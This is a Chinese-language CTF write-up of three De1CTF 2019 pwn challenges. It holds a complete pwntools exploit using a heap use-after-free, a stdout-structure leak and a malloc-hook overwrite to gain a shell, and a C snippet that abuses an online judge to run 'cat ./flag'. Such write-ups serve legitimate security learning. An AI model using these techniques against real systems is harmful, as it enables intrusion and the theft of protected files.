De1CTF 2019 PWN writeup

XCTF的国际赛分站De1CTF,赛中只做出两道比较基础的题,weaponA+B Judge,其中A+B Judge应该是非预期解,我队最终排名56。

0x01 Weapon

程序分析

checksec查看保护机制,看到保护全开

1
2
3
4
5
6
[*] '/home/sunxiaokong/Desktop/pwn/De1CTF-2019/Weapon/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序中维护了一个大小为10的weapon数组,weapon结构体定以如下,由一个8字节的指针(name),和一个8字节的整数(size)组成.

程序提供了create、delete、rename功能,分别对应创建weapon结构、删除、编辑name。

漏洞点

漏洞点位于delete功能函数中,free掉name指针后未将name指针置零,size也未置零,造成存在悬挂指针。

利用思路

通过远程double free测试,远程libc版本<2.26,需通过fastbin attack来利用

由于程序没有提供输出name内容的功能,因此不能通过正常的UAF手段来泄露libc基地址。因此,要通过覆盖_IO_2_1_stdout来泄露libc地址。参考链接如下:

https://www.sunxiaokong.xyz/2019-04/lzx213410/#bms

https://xz.aliyun.com/t/5057#toc-1

通过_IO_2_1_stdout来泄露的关键是,要通过fastbin attack分配堆到_IO_2_1_stdout处,从而改写结构体造成leak,而程序又开启了PIE,因此要通过partial overwrite来爆破_IO_2_1_stdout的地址,也就是,使fastbin中的fd指针指向libc中的地址,然后通过改写低字节,爆破中间字节来使下一次分配时分配到_IO_2_1_stdout

首先要使得fastbin中的fd指针指向libc中,由于程序限定了size必须<0x60,因此不能直接获得指向libc(main_arena-88)的fd指针。这里可以通过UAF,先释放一个fastbin_chunk,再将其伪造成符合unsorted_bin大小的chunk,再释放一次,这样,该chunk就会既存在fastbin中也存在于unsortedbin中,fd指针就会指向libc。然后再进行常规的爆破就可以了。

成功泄露libc后,劫持malloc_hookone_gadget即可getshell

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#-*-coding:utf8-*-
from pwn import *

def create(index, size, name):
p.sendlineafter('choice >>', '1')
p.sendlineafter('wlecome input your size of weapon: ', str(size))
p.sendlineafter('input index: ', str(index))
p.sendafter('input your name:', name)

def delete(index):
p.sendlineafter('choice >>', '2')
p.sendlineafter('input idx :', str(index))

def rename(index, new_name):
p.sendlineafter('choice >>', '3')
p.sendlineafter('input idx: ', str(index))
p.sendafter('new content:', new_name)

def exploit():
create(9, 0x10, p64(0)+p64(0x21))
create(0, 0x60, 'aaaa') #chunk0
create(1, 0x10, 'bbbb')

delete(0)
delete(9)
delete(1)
#修改chunk1的fd指针,使之指向chunk0的头部
rename(1, '\x10')
create(1, 0x10, 'a')
#将chunk0伪造成size为0xf0的chunk
create(2, 0x10, p64(0x0)+p64(0xf1))
create(8, 0x20, 'aaaa')
#并避免合并
create(7, 0x50, 'd'*0x20+p64(0xf1)+p64(0x21)+'a'*0x10+p64(0x20)+p64(0x21))
#将chunk0放入unsorted bin中,同时也存在fastbin中,chunk0->fd指向一个libc中的地址
delete(0)
#将chunk0的size改回0x70
rename(2, p64(0)+p64(0x71))
#改写chunk0->fd的低两字节,使之指向_IO_2_1_stdout附近的fake_chunk(需要爆破一字节)
rename(0, '\xdd\xa5')
create(0, 0x60, '\xe5')
create(3, 0x60, '\0')
#修改_IO_2_1_stdout结构体,使泄漏出libc中的地址
rename(3, '\0'*0x33+p64(0xfbad1800)+p64(0)*3+"\x08")
p.recvline()
p.recvn(56)
leak = u64(p.recvn(8))
log.success('leak: '+hex(leak))
libc_base = leak - 0x3c5608
log.success('libc address: '+hex(libc_base))
fake_chunk =libc_base + 0x3c4aed
one_gadget = libc_base + 0xf1147
delete(0)
rename(0, p64(fake_chunk))
create(0, 0x60, p64(fake_chunk))
create(0, 0x60, 'a'*0x13+p64(one_gadget))
p.sendlineafter('choice >>', '1')
p.sendlineafter('wlecome input your size of weapon: ', '16')
p.sendlineafter('input index: ', '5')
p.sendline('date')

if __name__ == '__main__':
#爆破
while(True):
try:
p = process('./pwn')
exploit()
p.interactive()
break
except:
p.close()
continue

0x02 A+B Judge

题目分析

本题应该是属于出题人非预期解法

题目提供了一个在线编译服务,可以给他一个源代码编译,并且它会将输出结果打印出来

题目的server.py脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#! /bin/python
from flask import Flask,render_template,request
import uuid
import os
import lorun
import multiprocessing
app = Flask(__name__)


RESULT_STR = [
'Accepted',
'Presentation Error',
'Time Limit Exceeded',
'Memory Limit Exceeded',
'Wrong Answer',
'Runtime Error',
'Output Limit Exceeded',
'Compile Error',
'System Error'
]

def compile_binary(random_prefix):
os.system('gcc %s.c -o %s_prog'%(random_prefix,random_prefix))

@app.route("/judge",methods=['POST'])
def judge():
try:
random_prefix = uuid.uuid1().hex
random_src = random_prefix + '.c'
random_prog = random_prefix + '_prog'
random_output = random_prefix + '.out'
if 'code' not in request.form:
return 'code not exists!'
#write into file
with open(random_src,'w') as f:
f.write(request.form['code'])

#compile
process = multiprocessing.Process(target=compile_binary,args=(random_prefix,))
process.start()
process.join(1)
if process.is_alive():
process.terminate()
return 'compile error!'

if not os.path.exists(random_prefix+'_prog'):
os.remove(random_src)
return 'compile error!'

fin = open('a+b.in','r')
ftemp = open(random_output, 'w')
runcfg = {
'args':['./'+random_prog],
'fd_in':fin.fileno(),
'fd_out':ftemp.fileno(),
'timelimit':1000,
'memorylimit':200000,
'trace':True,
'calls':[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 16, 21, 25, 56, 63, 78, 79, 87, 89, 97, 102, 158, 186, 202, 218, 219, 231, 234, 273],
'files':{
"/etc/ld.so.cache":524288,
"/lib/x86_64-linux-gnu/libc.so.6":524288,
"/lib/x86_64-linux-gnu/libm.so.6":524288,
"/usr/lib/x86_64-linux-gnu/libstdc++.so.6":524288,
"/lib/x86_64-linux-gnu/libgcc_s.so.1":524288,
"/lib/x86_64-linux-gnu/libpthread.so.0":524288,
"/etc/localtime":524288
}
}

rst = lorun.run(runcfg)
fin.close()
ftemp.close()

os.remove(random_prog)
os.remove(random_src)

if rst['result'] == 0:
ftemp = open(random_output,'r')
fout = open('a+b.out','r')
crst = lorun.check(fout.fileno() , ftemp.fileno())
fout.seek(0)
ftemp.seek(0)
standard_output = fout.read()
test_output = ftemp.read()
fout.close()
ftemp.close()
if crst != 0:
msg = RESULT_STR[crst] +'<br/>'
msg += 'standard output:<br/>'
msg += standard_output +'<br/>'
msg += 'your output:<br/>'
msg += test_output
os.remove(random_output)
return msg
os.remove(random_output)
return RESULT_STR[rst['result']]
except Exception as e:
if os.path.exists(random_prog):
os.remove(random_prog)

if os.path.exists(random_src):
os.remove(random_src)

return 'ERROR! '+str(e)
return 'ERROR!'

@app.route("/")
def hello():
return render_template('index.html')

if __name__ == '__main__':
app.run(host='0.0.0.0',port=11111)

获取flag

通过题目提供的docker文件夹,可以看到,flag与server.py在同一个目录下

而server又没有过滤system等函数,因此直接跑system(“cat ./flag”)查看flag。

1
2
3
4
5
6
#include <stdio.h>
int main()
{
system("cat ./flag");
return 0;
}

0x03 Unprintable(大致思路)

比赛时没有做出来,根据官方writeup整理了一下大致思路,记录一下。

程序分析

如图,main函数中会提供一个栈的地址,关闭stdout,然后往.bss段的buf中读入4096字节,然后是一个格式化字符串漏洞,最终调用exit()函数退出。

利用思路

由于关闭了stdout,并不能直接通过格式化字符串漏洞泄露地址什么的。

因此这道题的利用点在于exit()函数。gdb调试一下,单步跟进去exit()函数中,在_dl_fini()函数中可以跟到一个可以利用的点

这里,rdx的值为零,往上查看汇编代码,可以看到r12的来源

由于用gdb调试时动态库的装载地址都是不变的,所以可以下断点到这里看看rax和rbx的值。调试后可以看见,[rax+0x8]即为0x600dd8 (__do_global_dtors_aux_fini_array_entry),这是程序中.bss段前面的地址,而[rbx]为0x7ffff7ffe168,这个地址是存在于ld.so中的,该地址处的值为0。也就是说,最后call的时候,call的地址是[0x600dd8 (__do_global_dtors_aux_fini_array_entry) + 偏移(*0x7ffff7ffe168)],而0x7ffff7ffe168这个地址,在exit()函数调用时,是存放在栈上的。

根据官方writeup的说法,应该是通过控制这个栈地址来控制rbx的值,最终使r12指向.bss段,劫持程序的执行流。

但是我自己在追踪rbx的来源时,并没有追到这里,可能是我调试水平太菜了吧。。。

劫持执行流之后就是一些ROP操作和gadget的利用了。这部分操作也还没有完全搞懂,这里主要是学习了exit()函数里的利用的点。

完整的利用过程在官方writeup:

https://github.com/De1ta-team/De1CTF2019/blob/master/writeup/pwn/Unprintable/README_zh.md

0%